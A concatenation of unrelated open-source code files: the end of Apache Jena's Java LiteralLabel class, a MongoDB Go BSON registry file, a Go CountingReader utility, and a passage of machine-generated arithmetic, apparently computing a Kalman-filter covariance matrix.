final int prime = 31;
int result = 1;
hashCode = prime * result + Arrays.hashCode(bytes);
}
return hashCode;
}
@Override
public boolean equals(Object obj) {
if ( this == obj )
return true;
if ( obj == null )
return false;
if ( getClass() != obj.getClass() )
return false;
ByteArray other = (ByteArray)obj;
return Arrays.equals(bytes, other.bytes);
}
}
/**
Answer the language associated with this literal (the empty string if
there's no language).
*/
@Override
public String language() {
return lang;
}
/**
Answer a suitable instance of a Java class representing this literal's
value. May throw an exception if the literal is ill-formed.
*/
@Override
public Object getValue() throws DatatypeFormatException {
if (wellformed) {
return value;
} else {
throw new DatatypeFormatException(
lexicalForm,
dtype,
exceptionMsg);
}
}
/**
Answer the datatype of this literal, null if it is untyped.
*/
@Override
public RDFDatatype getDatatype() {
return dtype;
}
/**
Answer the datatype URI of this literal, null if it untyped.
*/
@Override
public String getDatatypeURI() {
if (dtype == null)
return null;
return dtype.getURI();
}
/**
Answer true iff this literal is syntactically equal to <code>other</code>.
Note: this is <i>not</i> <code>sameValueAs</code>.
*/
@Override
public boolean equals(Object other) {
if ( this == other ) return true ;
if (other == null || !(other instanceof LiteralLabel)) {
return false;
}
LiteralLabel otherLiteral = (LiteralLabel) other;
boolean typeEquals = Objects.equals(dtype, otherLiteral.getDatatype()) ;
if ( !typeEquals )
return false ;
// Don't just use this.lexcialForm -- need to force delayed calculation from values.
boolean lexEquals = Objects.equals(getLexicalForm(), otherLiteral.getLexicalForm());
if ( ! lexEquals )
return false ;
boolean langEquals = Objects.equals(lang, otherLiteral.language()) ;
if ( ! langEquals )
return false ;
// Ignore xml flag as it is calculated from the lexical form + datatype
// Ignore value as lexical form + datatype -> value is a function.
return true ;
}
/**
Answer true iff this literal represents the same (abstract) value as
the other one.
*/
@Override
public boolean sameValueAs( LiteralLabel other ) {
return sameValueAs(this, other) ;
}
/**
* Two literal labels are the "same value" if they are the same string,
* or same language string or same value-by-datatype or .equals (= Same RDF Term)
* @param lit1
* @param lit2
* @return
*/
private static boolean sameValueAs(LiteralLabel lit1, LiteralLabel lit2) {
//return lit1.sameValueAs(lit2) ;
if ( lit1 == null )
throw new NullPointerException() ;
if ( lit2 == null )
throw new NullPointerException() ;
// Strings.
if ( isStringValue(lit1) && isStringValue(lit2) ) {
// Complete compatibility mode.
if ( JenaParameters.enablePlainLiteralSameAsString )
return lit1.getLexicalForm().equals(lit2.getLexicalForm()) ;
else
return lit1.getLexicalForm().equals(lit2.getLexicalForm()) &&
Objects.equals(lit1.getDatatype(), lit2.getDatatype()) ;
}
if ( isStringValue(lit1) ) return false ;
if ( isStringValue(lit2) ) return false ;
// Language tag strings
if ( isLangString(lit1) && isLangString(lit2) ) {
String lex1 = lit1.getLexicalForm() ;
String lex2 = lit2.getLexicalForm() ;
return lex1.equals(lex2) && lit1.language().equalsIgnoreCase(lit2.language()) ;
}
if ( isLangString(lit1) ) return false ;
if ( isLangString(lit2) ) return false ;
// Both not strings, not lang strings.
// Datatype set.
if ( lit1.isWellFormedRaw() && lit2.isWellFormedRaw() )
// Both well-formed.
return lit1.getDatatype().isEqual(lit1, lit2) ;
if ( ! lit1.isWellFormedRaw() && ! lit2.isWellFormedRaw() )
return lit1.equals(lit2) ;
// One is well formed, the other is not.
return false ;
}
/** Return true if the literal lable is a string value (RDF 1.0 and RDF 1.1) */
private static boolean isStringValue(LiteralLabel lit) {
if ( lit.getDatatype() == null )
// RDF 1.0
return ! isLangString(lit) ;
if ( lit.getDatatype().equals(XSDDatatype.XSDstring) )
return true;
return false ;
}
/** Return true if the literal label is a language string. (RDF 1.0 and RDF 1.1) */
public static boolean isLangString(LiteralLabel lit) {
String lang = lit.language() ;
if ( lang == null )
return false ;
// Check.
if ( lang.equals("") )
return false ;
// This is an additional check.
if ( JenaRuntime.isRDF11 ) {
if ( ! Objects.equals(lit.getDatatype(), RDF.dtLangString) )
throw new JenaException("Literal with language string which is not rdf:langString: "+lit) ;
}
return true ;
}
private int hash = 0 ;
/**
Answer the hashcode of this literal, derived from its value if it's
well-formed and otherwise its lexical form.
*/
@Override
public int hashCode() {
// Literal labels are immutable.
if ( hash == 0 )
hash = (dtype == null ? getDefaultHashcode() : dtype.getHashCode( this ));
return hash ;
}
/**
Answer the default hash value, suitable for datatypes which have values
which support hashCode() naturally: it is derived from its value if it is
well-formed and otherwise from its lexical form.
*/
@Override
public int getDefaultHashcode()
{ return (wellformed ? value : getLexicalForm()).hashCode(); }
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (C) MongoDB, Inc. 2017-present.
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may
// not use this file except in compliance with the License. You may obtain
// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
package bson
import "go.mongodb.org/mongo-driver/bson/bsoncodec"
// DefaultRegistry is the default bsoncodec.Registry. It contains the default codecs and the
// primitive codecs.
var DefaultRegistry = NewRegistryBuilder().Build()
// NewRegistryBuilder creates a new RegistryBuilder configured with the default encoders and
// deocders from the bsoncodec.DefaultValueEncoders and bsoncodec.DefaultValueDecoders types and the
// PrimitiveCodecs type in this package.
func NewRegistryBuilder() *bsoncodec.RegistryBuilder {
rb := bsoncodec.NewRegistryBuilder()
bsoncodec.DefaultValueEncoders{}.RegisterDefaultEncoders(rb)
bsoncodec.DefaultValueDecoders{}.RegisterDefaultDecoders(rb)
primitiveCodecs.RegisterPrimitiveCodecs(rb)
return rb
}
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2011 The Go4 Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package readerutil
import "io"
// CountingReader wraps a Reader, incrementing N by the number of
// bytes read. No locking is performed.
type CountingReader struct {
Reader io.Reader
N *int64
}
func (cr CountingReader) Read(p []byte) (n int, err error) {
n, err = cr.Reader.Read(p)
*cr.N += int64(n)
return
}
|
{
"pile_set_name": "Github"
}
|
t2 = dax*(1.0/2.0);
t3 = dax_b*(1.0/2.0);
t4 = t2-t3;
t5 = day*(1.0/2.0);
t6 = day_b*(1.0/2.0);
t7 = t5-t6;
t8 = daz*(1.0/2.0);
t9 = daz_b*(1.0/2.0);
t10 = t8-t9;
t11 = q2*t4*(1.0/2.0);
t12 = q1*t7*(1.0/2.0);
t13 = q0*t10*(1.0/2.0);
t14 = q2*(1.0/2.0);
t15 = q3*t4*(1.0/2.0);
t16 = q1*t10*(1.0/2.0);
t17 = q1*(1.0/2.0);
t18 = q0*t4*(1.0/2.0);
t19 = q3*t7*(1.0/2.0);
t20 = q0*(1.0/2.0);
t21 = q2*t7*(1.0/2.0);
t22 = q3*t10*(1.0/2.0);
t23 = q0*t7*(1.0/2.0);
t24 = q3*(1.0/2.0);
t25 = q1*t4*(1.0/2.0);
t26 = q2*t10*(1.0/2.0);
t27 = t11+t12+t13-t24;
t28 = t14+t15+t16-t23;
t29 = q2*t28*2.0;
t30 = t17+t18+t19-t26;
t31 = q1*t30*2.0;
t32 = t20+t21+t22-t25;
t33 = q0*t32*2.0;
t40 = q3*t27*2.0;
t34 = t29+t31+t33-t40;
t35 = q0*q0;
t36 = q1*q1;
t37 = q2*q2;
t38 = q3*q3;
t39 = t35+t36+t37+t38;
t41 = t11+t12-t13+t24;
t42 = t14-t15+t16+t23;
t43 = q1*t42*2.0;
t44 = -t17+t18+t19+t26;
t45 = q2*t44*2.0;
t46 = t20-t21+t22+t25;
t47 = q3*t46*2.0;
t57 = q0*t41*2.0;
t48 = t43+t45+t47-t57;
t49 = -t14+t15+t16+t23;
t50 = q0*t49*2.0;
t51 = t11-t12+t13+t24;
t52 = t20+t21-t22+t25;
t53 = q2*t52*2.0;
t54 = t17-t18+t19+t26;
t55 = q3*t54*2.0;
t58 = q1*t51*2.0;
t56 = t50+t53+t55-t58;
t59 = OP_l_1_c_1_r_*t34;
t60 = OP_l_2_c_1_r_*t48;
t66 = OP_l_7_c_1_r_*t39;
t67 = OP_l_3_c_1_r_*t56;
t61 = t59+t60-t66-t67;
t62 = OP_l_1_c_2_r_*t34;
t63 = OP_l_2_c_2_r_*t48;
t64 = OP_l_1_c_3_r_*t34;
t65 = OP_l_2_c_3_r_*t48;
t72 = OP_l_7_c_2_r_*t39;
t73 = OP_l_3_c_2_r_*t56;
t68 = t62+t63-t72-t73;
t69 = t35+t36-t37-t38;
t86 = OP_l_7_c_3_r_*t39;
t87 = OP_l_3_c_3_r_*t56;
t70 = t64+t65-t86-t87;
t71 = dvx-dvx_b;
t74 = q0*q3*2.0;
t81 = q1*q2*2.0;
t75 = t74-t81;
t76 = q0*q2*2.0;
t77 = q1*q3*2.0;
t78 = t76+t77;
t79 = dvy-dvy_b;
t80 = dvz-dvz_b;
t82 = OP_l_1_c_11_r_*t34;
t83 = OP_l_2_c_11_r_*t48;
t103 = OP_l_7_c_11_r_*t39;
t104 = OP_l_3_c_11_r_*t56;
t84 = t82+t83-t103-t104;
t85 = t35-t36+t37-t38;
t88 = t74+t81;
t89 = OP_l_1_c_10_r_*t34;
t90 = OP_l_2_c_10_r_*t48;
t100 = OP_l_7_c_10_r_*t39;
t101 = OP_l_3_c_10_r_*t56;
t91 = t89+t90-t100-t101;
t92 = q0*q1*2.0;
t96 = q2*q3*2.0;
t93 = t92-t96;
t94 = OP_l_1_c_12_r_*t34;
t95 = OP_l_2_c_12_r_*t48;
t114 = OP_l_7_c_12_r_*t39;
t115 = OP_l_3_c_12_r_*t56;
t97 = t94+t95-t114-t115;
t98 = t35-t36-t37+t38;
t99 = t76-t77;
t102 = t92+t96;
t105 = OP_l_1_c_7_r_*t34;
t106 = OP_l_2_c_7_r_*t48;
t411 = OP_l_7_c_7_r_*t39;
t107 = t105+t106-t411-OP_l_3_c_7_r_*t56;
t108 = OP_l_1_c_8_r_*t34;
t109 = OP_l_2_c_8_r_*t48;
t412 = OP_l_7_c_8_r_*t39;
t110 = t108+t109-t412-OP_l_3_c_8_r_*t56;
t111 = OP_l_1_c_9_r_*t34;
t112 = OP_l_2_c_9_r_*t48;
t413 = OP_l_7_c_9_r_*t39;
t113 = t111+t112-t413-OP_l_3_c_9_r_*t56;
t116 = q0*t27*2.0;
t117 = q1*t28*2.0;
t118 = q3*t32*2.0;
t128 = q2*t30*2.0;
t119 = t116+t117+t118-t128;
t120 = q0*t46*2.0;
t121 = q2*t42*2.0;
t122 = q3*t41*2.0;
t129 = q1*t44*2.0;
t123 = t120+t121+t122-t129;
t124 = q1*t52*2.0;
t125 = q2*t51*2.0;
t126 = q3*t49*2.0;
t130 = q0*t54*2.0;
t127 = t124+t125+t126-t130;
t131 = OP_l_8_c_1_r_*t39;
t132 = OP_l_1_c_1_r_*t119;
t141 = OP_l_2_c_1_r_*t123;
t142 = OP_l_3_c_1_r_*t127;
t133 = t131+t132-t141-t142;
t134 = OP_l_8_c_2_r_*t39;
t135 = OP_l_1_c_2_r_*t119;
t147 = OP_l_2_c_2_r_*t123;
t148 = OP_l_3_c_2_r_*t127;
t136 = t134+t135-t147-t148;
t137 = OP_l_8_c_3_r_*t39;
t138 = OP_l_1_c_3_r_*t119;
t153 = OP_l_2_c_3_r_*t123;
t154 = OP_l_3_c_3_r_*t127;
t139 = t137+t138-t153-t154;
t140 = t39*t39;
t143 = q1*t27*2.0;
t144 = q2*t32*2.0;
t145 = q3*t30*2.0;
t204 = q0*t28*2.0;
t146 = t143+t144+t145-t204;
t149 = q0*t44*2.0;
t150 = q1*t46*2.0;
t151 = q2*t41*2.0;
t205 = q3*t42*2.0;
t152 = t149+t150+t151-t205;
t155 = q0*t52*2.0;
t156 = q1*t54*2.0;
t157 = q3*t51*2.0;
t206 = q2*t49*2.0;
t158 = t155+t156+t157-t206;
t159 = t69*t79;
t160 = t71*t75;
t161 = t159+t160;
t162 = t69*t80;
t222 = t71*t78;
t163 = t162-t222;
t164 = t78*t79;
t165 = t75*t80;
t166 = t164+t165;
t167 = OP_l_8_c_11_r_*t39;
t168 = OP_l_1_c_11_r_*t119;
t193 = OP_l_2_c_11_r_*t123;
t194 = OP_l_3_c_11_r_*t127;
t169 = t167+t168-t193-t194;
t170 = t71*t85;
t226 = t79*t88;
t171 = t170-t226;
t172 = t80*t85;
t173 = t79*t93;
t174 = t172+t173;
t175 = OP_l_8_c_10_r_*t39;
t176 = OP_l_1_c_10_r_*t119;
t191 = OP_l_2_c_10_r_*t123;
t192 = OP_l_3_c_10_r_*t127;
t177 = t175+t176-t191-t192;
t178 = OP_l_8_c_12_r_*t39;
t179 = OP_l_1_c_12_r_*t119;
t184 = OP_l_2_c_12_r_*t123;
t185 = OP_l_3_c_12_r_*t127;
t180 = t178+t179-t184-t185;
t181 = t71*t93;
t182 = t80*t88;
t183 = t181+t182;
t186 = t71*t98;
t187 = t80*t99;
t188 = t186+t187;
t189 = t79*t98;
t233 = t80*t102;
t190 = t189-t233;
t195 = t71*t102;
t196 = t79*t99;
t197 = t195+t196;
t198 = OP_l_8_c_7_r_*t39;
t199 = OP_l_1_c_7_r_*t119;
t200 = OP_l_8_c_8_r_*t39;
t201 = OP_l_1_c_8_r_*t119;
t202 = OP_l_8_c_9_r_*t39;
t203 = OP_l_1_c_9_r_*t119;
t207 = OP_l_9_c_1_r_*t39;
t208 = OP_l_2_c_1_r_*t152;
t216 = OP_l_1_c_1_r_*t146;
t217 = OP_l_3_c_1_r_*t158;
t209 = t207+t208-t216-t217;
t210 = OP_l_9_c_2_r_*t39;
t211 = OP_l_2_c_2_r_*t152;
t218 = OP_l_1_c_2_r_*t146;
t219 = OP_l_3_c_2_r_*t158;
t212 = t210+t211-t218-t219;
t213 = OP_l_9_c_3_r_*t39;
t214 = OP_l_2_c_3_r_*t152;
t220 = OP_l_1_c_3_r_*t146;
t221 = OP_l_3_c_3_r_*t158;
t215 = t213+t214-t220-t221;
t223 = OP_l_1_c_11_r_*t146;
t224 = OP_l_3_c_11_r_*t158;
t236 = OP_l_9_c_11_r_*t39;
t237 = OP_l_2_c_11_r_*t152;
t225 = t223+t224-t236-t237;
t227 = OP_l_1_c_10_r_*t146;
t228 = OP_l_3_c_10_r_*t158;
t234 = OP_l_9_c_10_r_*t39;
t235 = OP_l_2_c_10_r_*t152;
t229 = t227+t228-t234-t235;
t230 = OP_l_1_c_12_r_*t146;
t231 = OP_l_3_c_12_r_*t158;
t244 = OP_l_9_c_12_r_*t39;
t245 = OP_l_2_c_12_r_*t152;
t232 = t230+t231-t244-t245;
t238 = OP_l_9_c_7_r_*t39;
t239 = OP_l_2_c_7_r_*t152;
t240 = OP_l_9_c_8_r_*t39;
t241 = OP_l_2_c_8_r_*t152;
t242 = OP_l_9_c_9_r_*t39;
t243 = OP_l_2_c_9_r_*t152;
t246 = OP_l_2_c_1_r_*t163;
t247 = OP_l_11_c_1_r_*t75;
t248 = OP_l_1_c_1_r_*t166;
t258 = OP_l_10_c_1_r_*t69;
t259 = OP_l_3_c_1_r_*t161;
t260 = OP_l_12_c_1_r_*t78;
t249 = OP_l_4_c_1_r_+t246+t247+t248-t258-t259-t260;
t250 = OP_l_2_c_2_r_*t163;
t251 = OP_l_11_c_2_r_*t75;
t252 = OP_l_1_c_2_r_*t166;
t261 = OP_l_10_c_2_r_*t69;
t262 = OP_l_3_c_2_r_*t161;
t263 = OP_l_12_c_2_r_*t78;
t253 = OP_l_4_c_2_r_+t250+t251+t252-t261-t262-t263;
t254 = OP_l_2_c_3_r_*t163;
t255 = OP_l_11_c_3_r_*t75;
t256 = OP_l_1_c_3_r_*t166;
t264 = OP_l_10_c_3_r_*t69;
t265 = OP_l_3_c_3_r_*t161;
t266 = OP_l_12_c_3_r_*t78;
t257 = OP_l_4_c_3_r_+t254+t255+t256-t264-t265-t266;
t267 = OP_l_2_c_10_r_*t163;
t268 = OP_l_11_c_10_r_*t75;
t269 = OP_l_1_c_10_r_*t166;
t279 = OP_l_10_c_10_r_*t69;
t280 = OP_l_3_c_10_r_*t161;
t281 = OP_l_12_c_10_r_*t78;
t270 = OP_l_4_c_10_r_+t267+t268+t269-t279-t280-t281;
t271 = OP_l_2_c_12_r_*t163;
t272 = OP_l_11_c_12_r_*t75;
t273 = OP_l_1_c_12_r_*t166;
t285 = OP_l_10_c_12_r_*t69;
t286 = OP_l_3_c_12_r_*t161;
t287 = OP_l_12_c_12_r_*t78;
t274 = OP_l_4_c_12_r_+t271+t272+t273-t285-t286-t287;
t275 = OP_l_2_c_11_r_*t163;
t276 = OP_l_11_c_11_r_*t75;
t277 = OP_l_1_c_11_r_*t166;
t282 = OP_l_10_c_11_r_*t69;
t283 = OP_l_3_c_11_r_*t161;
t284 = OP_l_12_c_11_r_*t78;
t278 = OP_l_4_c_11_r_+t275+t276+t277-t282-t283-t284;
t288 = OP_l_2_c_7_r_*t163;
t289 = OP_l_11_c_7_r_*t75;
t290 = OP_l_1_c_7_r_*t166;
t291 = OP_l_4_c_7_r_+t288+t289+t290-OP_l_10_c_7_r_*t69-OP_l_3_c_7_r_*t161-OP_l_12_c_7_r_*t78;
t292 = OP_l_2_c_8_r_*t163;
t293 = OP_l_11_c_8_r_*t75;
t294 = OP_l_1_c_8_r_*t166;
t295 = OP_l_4_c_8_r_+t292+t293+t294-OP_l_10_c_8_r_*t69-OP_l_3_c_8_r_*t161-OP_l_12_c_8_r_*t78;
t296 = OP_l_2_c_9_r_*t163;
t297 = OP_l_11_c_9_r_*t75;
t298 = OP_l_1_c_9_r_*t166;
t299 = OP_l_4_c_9_r_+t296+t297+t298-OP_l_10_c_9_r_*t69-OP_l_3_c_9_r_*t161-OP_l_12_c_9_r_*t78;
t300 = OP_l_3_c_1_r_*t171;
t301 = OP_l_12_c_1_r_*t93;
t302 = OP_l_2_c_1_r_*t183;
t312 = OP_l_11_c_1_r_*t85;
t313 = OP_l_1_c_1_r_*t174;
t314 = OP_l_10_c_1_r_*t88;
t303 = OP_l_5_c_1_r_+t300+t301+t302-t312-t313-t314;
t304 = OP_l_3_c_2_r_*t171;
t305 = OP_l_12_c_2_r_*t93;
t306 = OP_l_2_c_2_r_*t183;
t315 = OP_l_11_c_2_r_*t85;
t316 = OP_l_1_c_2_r_*t174;
t317 = OP_l_10_c_2_r_*t88;
t307 = OP_l_5_c_2_r_+t304+t305+t306-t315-t316-t317;
t308 = OP_l_3_c_3_r_*t171;
t309 = OP_l_12_c_3_r_*t93;
t310 = OP_l_2_c_3_r_*t183;
t318 = OP_l_11_c_3_r_*t85;
t319 = OP_l_1_c_3_r_*t174;
t320 = OP_l_10_c_3_r_*t88;
t311 = OP_l_5_c_3_r_+t308+t309+t310-t318-t319-t320;
t321 = dvxNoise*t69*t88;
t322 = OP_l_3_c_10_r_*t171;
t323 = OP_l_12_c_10_r_*t93;
t324 = OP_l_2_c_10_r_*t183;
t334 = OP_l_11_c_10_r_*t85;
t335 = OP_l_1_c_10_r_*t174;
t336 = OP_l_10_c_10_r_*t88;
t325 = OP_l_5_c_10_r_+t322+t323+t324-t334-t335-t336;
t326 = OP_l_3_c_12_r_*t171;
t327 = OP_l_12_c_12_r_*t93;
t328 = OP_l_2_c_12_r_*t183;
t340 = OP_l_11_c_12_r_*t85;
t341 = OP_l_1_c_12_r_*t174;
t342 = OP_l_10_c_12_r_*t88;
t329 = OP_l_5_c_12_r_+t326+t327+t328-t340-t341-t342;
t330 = OP_l_3_c_11_r_*t171;
t331 = OP_l_12_c_11_r_*t93;
t332 = OP_l_2_c_11_r_*t183;
t337 = OP_l_11_c_11_r_*t85;
t338 = OP_l_1_c_11_r_*t174;
t339 = OP_l_10_c_11_r_*t88;
t333 = OP_l_5_c_11_r_+t330+t331+t332-t337-t338-t339;
t343 = OP_l_3_c_7_r_*t171;
t344 = OP_l_12_c_7_r_*t93;
t345 = OP_l_2_c_7_r_*t183;
t346 = OP_l_5_c_7_r_+t343+t344+t345-OP_l_1_c_7_r_*t174-OP_l_10_c_7_r_*t88-OP_l_11_c_7_r_*t85;
t347 = OP_l_3_c_8_r_*t171;
t348 = OP_l_12_c_8_r_*t93;
t349 = OP_l_2_c_8_r_*t183;
t350 = OP_l_5_c_8_r_+t347+t348+t349-OP_l_1_c_8_r_*t174-OP_l_10_c_8_r_*t88-OP_l_11_c_8_r_*t85;
t351 = OP_l_3_c_9_r_*t171;
t352 = OP_l_12_c_9_r_*t93;
t353 = OP_l_2_c_9_r_*t183;
t354 = OP_l_5_c_9_r_+t351+t352+t353-OP_l_1_c_9_r_*t174-OP_l_10_c_9_r_*t88-OP_l_11_c_9_r_*t85;
t355 = OP_l_1_c_1_r_*t190;
t356 = OP_l_10_c_1_r_*t99;
t357 = OP_l_3_c_1_r_*t197;
t367 = OP_l_12_c_1_r_*t98;
t368 = OP_l_2_c_1_r_*t188;
t369 = OP_l_11_c_1_r_*t102;
t358 = OP_l_6_c_1_r_+t355+t356+t357-t367-t368-t369;
t359 = OP_l_1_c_2_r_*t190;
t360 = OP_l_10_c_2_r_*t99;
t361 = OP_l_3_c_2_r_*t197;
t370 = OP_l_12_c_2_r_*t98;
t371 = OP_l_2_c_2_r_*t188;
t372 = OP_l_11_c_2_r_*t102;
t362 = OP_l_6_c_2_r_+t359+t360+t361-t370-t371-t372;
t363 = OP_l_1_c_3_r_*t190;
t364 = OP_l_10_c_3_r_*t99;
t365 = OP_l_3_c_3_r_*t197;
t373 = OP_l_12_c_3_r_*t98;
t374 = OP_l_2_c_3_r_*t188;
t375 = OP_l_11_c_3_r_*t102;
t366 = OP_l_6_c_3_r_+t363+t364+t365-t373-t374-t375;
t376 = dvzNoise*t78*t98;
t377 = OP_l_1_c_10_r_*t190;
t378 = OP_l_10_c_10_r_*t99;
t379 = OP_l_3_c_10_r_*t197;
t390 = OP_l_12_c_10_r_*t98;
t391 = OP_l_2_c_10_r_*t188;
t392 = OP_l_11_c_10_r_*t102;
t380 = OP_l_6_c_10_r_+t377+t378+t379-t390-t391-t392;
t381 = OP_l_1_c_12_r_*t190;
t382 = OP_l_10_c_12_r_*t99;
t383 = OP_l_3_c_12_r_*t197;
t396 = OP_l_12_c_12_r_*t98;
t397 = OP_l_2_c_12_r_*t188;
t398 = OP_l_11_c_12_r_*t102;
t384 = OP_l_6_c_12_r_+t381+t382+t383-t396-t397-t398;
t385 = OP_l_1_c_11_r_*t190;
t386 = OP_l_10_c_11_r_*t99;
t387 = OP_l_3_c_11_r_*t197;
t393 = OP_l_12_c_11_r_*t98;
t394 = OP_l_2_c_11_r_*t188;
t395 = OP_l_11_c_11_r_*t102;
t388 = OP_l_6_c_11_r_+t385+t386+t387-t393-t394-t395;
t389 = dvyNoise*t85*t102;
t399 = OP_l_1_c_7_r_*t190;
t400 = OP_l_10_c_7_r_*t99;
t401 = OP_l_3_c_7_r_*t197;
t402 = OP_l_6_c_7_r_+t399+t400+t401-OP_l_2_c_7_r_*t188-OP_l_11_c_7_r_*t102-OP_l_12_c_7_r_*t98;
t403 = OP_l_1_c_8_r_*t190;
t404 = OP_l_10_c_8_r_*t99;
t405 = OP_l_3_c_8_r_*t197;
t406 = OP_l_6_c_8_r_+t403+t404+t405-OP_l_2_c_8_r_*t188-OP_l_11_c_8_r_*t102-OP_l_12_c_8_r_*t98;
t407 = OP_l_1_c_9_r_*t190;
t408 = OP_l_10_c_9_r_*t99;
t409 = OP_l_3_c_9_r_*t197;
t410 = OP_l_6_c_9_r_+t407+t408+t409-OP_l_2_c_9_r_*t188-OP_l_11_c_9_r_*t102-OP_l_12_c_9_r_*t98;
A0[0][0] = daxNoise*t140+t34*t61+t48*t68-t56*t70-t39*t107;
A0[0][1] = -t39*t110-t61*t119+t68*t123+t70*t127;
A0[0][2] = -t39*t113-t68*t152+t70*t158+t146*(t59+t60-t66-t67);
A0[0][3] = OP_l_1_c_4_r_*t34+OP_l_2_c_4_r_*t48-OP_l_3_c_4_r_*t56-OP_l_7_c_4_r_*t39+t75*t84-t69*t91-t78*t97-t70*t161+t166*(t59+t60-t66-t67)+t163*(t62+t63-t72-t73);
A0[0][4] = OP_l_1_c_5_r_*t34+OP_l_2_c_5_r_*t48-OP_l_3_c_5_r_*t56-OP_l_7_c_5_r_*t39-t84*t85-t88*t91+t93*t97-t61*t174+t70*t171+t183*(t62+t63-t72-t73);
A0[0][5] = OP_l_1_c_6_r_*t34+OP_l_2_c_6_r_*t48-OP_l_3_c_6_r_*t56-OP_l_7_c_6_r_*t39-t84*t102-t97*t98+t61*t190-t68*t188+t99*(t89+t90-t100-t101)+t197*(t64+t65-t86-t87);
A0[0][6] = t107;
A0[0][7] = t110;
A0[0][8] = t113;
A0[0][9] = t91;
A0[0][10] = t84;
A0[0][11] = t97;
A0[1][0] = -t34*t133-t48*t136+t56*t139+t39*(t198+t199-OP_l_2_c_7_r_*t123-OP_l_3_c_7_r_*t127);
A0[1][1] = dayNoise*t140+t119*t133-t123*t136-t127*t139+t39*(t200+t201-OP_l_2_c_8_r_*t123-OP_l_3_c_8_r_*t127);
A0[1][2] = -t133*t146+t136*t152-t139*t158+t39*(t202+t203-OP_l_2_c_9_r_*t123-OP_l_3_c_9_r_*t127);
A0[1][3] = -OP_l_8_c_4_r_*t39-OP_l_1_c_4_r_*t119+OP_l_2_c_4_r_*t123+OP_l_3_c_4_r_*t127-t75*t169+t69*t177+t78*t180-t133*t166-t136*t163+t139*t161;
A0[1][4] = -OP_l_8_c_5_r_*t39-OP_l_1_c_5_r_*t119+OP_l_2_c_5_r_*t123+OP_l_3_c_5_r_*t127+t85*t169+t88*t177-t93*t180+t133*t174-t139*t171-t136*t183;
A0[1][5] = -OP_l_8_c_6_r_*t39-OP_l_1_c_6_r_*t119+OP_l_2_c_6_r_*t123+OP_l_3_c_6_r_*t127+t102*t169-t99*t177+t98*t180-t133*t190+t136*t188-t139*t197;
A0[1][6] = -t198-t199+OP_l_2_c_7_r_*t123+OP_l_3_c_7_r_*t127;
A0[1][7] = -t200-t201+OP_l_2_c_8_r_*t123+OP_l_3_c_8_r_*t127;
A0[1][8] = -t202-t203+OP_l_2_c_9_r_*t123+OP_l_3_c_9_r_*t127;
A0[1][9] = -t175-t176+t191+t192;
A0[1][10] = -t167-t168+t193+t194;
A0[1][11] = -t178-t179+t184+t185;
A0[2][0] = -t34*t209-t48*t212+t56*t215+t39*(t238+t239-OP_l_1_c_7_r_*t146-OP_l_3_c_7_r_*t158);
A0[2][1] = t119*t209-t123*t212-t127*t215+t39*(t240+t241-OP_l_1_c_8_r_*t146-OP_l_3_c_8_r_*t158);
A0[2][2] = dazNoise*t140-t146*t209+t152*t212-t158*t215+t39*(t242+t243-OP_l_1_c_9_r_*t146-OP_l_3_c_9_r_*t158);
A0[2][3] = -OP_l_9_c_4_r_*t39+OP_l_1_c_4_r_*t146-OP_l_2_c_4_r_*t152+OP_l_3_c_4_r_*t158-t69*t229+t75*t225-t78*t232-t163*t212-t166*t209+t161*t215;
A0[2][4] = -OP_l_9_c_5_r_*t39+OP_l_1_c_5_r_*t146-OP_l_2_c_5_r_*t152+OP_l_3_c_5_r_*t158-t85*t225-t88*t229+t93*t232+t174*t209-t171*t215-t183*t212;
A0[2][5] = -OP_l_9_c_6_r_*t39+OP_l_1_c_6_r_*t146-OP_l_2_c_6_r_*t152+OP_l_3_c_6_r_*t158-t102*t225-t98*t232-t190*t209+t188*t212-t197*t215+t99*(t227+t228-t234-t235);
A0[2][6] = -t238-t239+OP_l_1_c_7_r_*t146+OP_l_3_c_7_r_*t158;
A0[2][7] = -t240-t241+OP_l_1_c_8_r_*t146+OP_l_3_c_8_r_*t158;
A0[2][8] = -t242-t243+OP_l_1_c_9_r_*t146+OP_l_3_c_9_r_*t158;
A0[2][9] = t229;
A0[2][10] = t225;
A0[2][11] = t232;
A0[3][0] = t34*t249+t48*t253-t56*t257-t39*t291;
A0[3][1] = -t39*t295-t119*t249+t123*t253+t127*t257;
A0[3][2] = -t39*t299+t146*t249-t152*t253+t158*t257;
A0[3][3] = OP_l_4_c_4_r_-OP_l_10_c_4_r_*t69+OP_l_1_c_4_r_*t166+OP_l_2_c_4_r_*t163+OP_l_11_c_4_r_*t75-OP_l_3_c_4_r_*t161-OP_l_12_c_4_r_*t78-t69*t270-t78*t274+t75*t278+t166*t249+t163*t253-t161*t257+dvxNoise*(t69*t69)+dvyNoise*(t75*t75)+dvzNoise*(t78*t78);
A0[3][4] = OP_l_4_c_5_r_+t321-OP_l_10_c_5_r_*t69+OP_l_1_c_5_r_*t166+OP_l_2_c_5_r_*t163+OP_l_11_c_5_r_*t75-OP_l_3_c_5_r_*t161-OP_l_12_c_5_r_*t78-t88*t270-t85*t278+t93*t274-t174*t249+t171*t257+t183*t253-dvyNoise*t75*t85-dvzNoise*t78*t93;
A0[3][5] = OP_l_4_c_6_r_+t376-OP_l_10_c_6_r_*t69+OP_l_1_c_6_r_*t166+OP_l_2_c_6_r_*t163+OP_l_11_c_6_r_*t75-OP_l_3_c_6_r_*t161-OP_l_12_c_6_r_*t78+t99*t270-t98*t274-t102*t278+t190*t249-t188*t253+t197*t257-dvxNoise*t69*t99-dvyNoise*t75*t102;
A0[3][6] = t291;
A0[3][7] = t295;
A0[3][8] = t299;
A0[3][9] = t270;
A0[3][10] = t278;
A0[3][11] = t274;
A0[4][0] = t34*t303+t48*t307-t56*t311-t39*t346;
A0[4][1] = -t39*t350-t119*t303+t123*t307+t127*t311;
A0[4][2] = -t39*t354+t146*t303-t152*t307+t158*t311;
